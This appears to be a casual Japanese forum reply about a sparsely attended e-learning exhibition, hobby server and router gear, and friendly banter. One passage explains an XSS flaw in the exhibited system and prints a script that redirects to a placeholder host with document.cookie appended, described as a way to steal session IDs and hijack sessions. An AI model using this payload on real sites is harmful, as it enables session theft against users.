|    | 
     ▼ひよひよさん: 
> いやはや、ようやく終わりました。人が来なくてすごぉ〜く大変でした。 
> 来場予定者数 7000 人ということだったのですが...(?_?) 
 
来場予定者数って、チケット配った枚数なんでしょうか? 
それとも動員可能人数だったんでしょうか。 
そもそもe-learningに興味がある道民が7000人もいるのか? 
 
> おかげで楽しいひと時を過ごせました。週明けには担当の先生に 
> 報告するわけですが、なんて報告したら良いのやら。 
> パンフレット余りまくりですよ(爆)  
 
頂いたパンフ読みましたよ。 
現に某大学の数箇所で稼働しているようですね。 
まぁ、プログラムなんて動けばいいんですけど。(笑) 
 
JavaScriptでlocation.hrefを使うと攻撃性のあるページ飛ばせるんです。 
<script language="JavaScript"> 
location.href = "http://hogehoge/logging.cgi?data=" + document.cookie; 
</script> 
という具合に書けば、cookieに入っているセッションIDが盗めますので、 
セッション乗っ取りされちゃいます。 
 
他、preタグの開始タグのみかかれるとページ全体が崩れますよね。 
 
> でもまぁ、バグも発見されたことだし、今後もうちょっとマシに 
> なればよいのですが... ただバグ修正は誰がするんでしょうかねぇ。 
 
あの後、ソース公開されているんかなーっと。 
いろいろ漁っていたんですが、メール出さないともらえないっぽいですね。 
java.util.regexの正規表現機能を使ってサニタイジングするだけなんで 
Java Servletが分かる人なら修正できるかと思います。 
 
Pantora NetworksとCrystal Dew Worldで共同受注しますか? 
開発は札幌駅のベスト電器横のドトールあたりで。(笑) 
 
>> アニメ系の店は知らんけど、ジャンク屋は沢山知っている。 
> それは心強い!!ぜひお願いします。 
 
自称「エンタープライズオタク」なんで、 
行き先はサーバ、ワークステーションや業務用ルータのお店が中心かな。 
一般どころではPlatHomeとかOTTO UNIX館が好き。 
 
前、部屋にマシン12台、ルータ8台くらいあって、 
友人宅とVPN構築したり、業務用の機器で変な遊びばかりしてました。 
ほとんど、今年の春、ヤフーオークションで売ってしまいましたが...。 
 
>> ま、変人同士仲良くしましょー。どぞ、よろしく。 
> 変人同士と言われても何の違和感も感じない俺 
> ってもう社会復帰はできないんでしょうか... 
 
いいんじゃないですか? 
度が過ぎた変人は社会に貢献すると思います。 
 
年齢気にせず、誰とでもフランクに話しますから、 
典型的な日本型社会では嫌がられますけど...。 
 
 | 
     
    
   |